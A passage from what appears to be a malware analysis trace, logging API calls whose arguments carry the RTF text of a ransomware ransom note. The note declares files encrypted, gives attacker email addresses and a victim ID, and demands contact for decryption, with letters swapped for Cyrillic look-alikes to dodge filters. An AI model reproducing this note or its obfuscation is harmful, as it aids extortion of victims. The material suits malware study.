n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0034.073] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 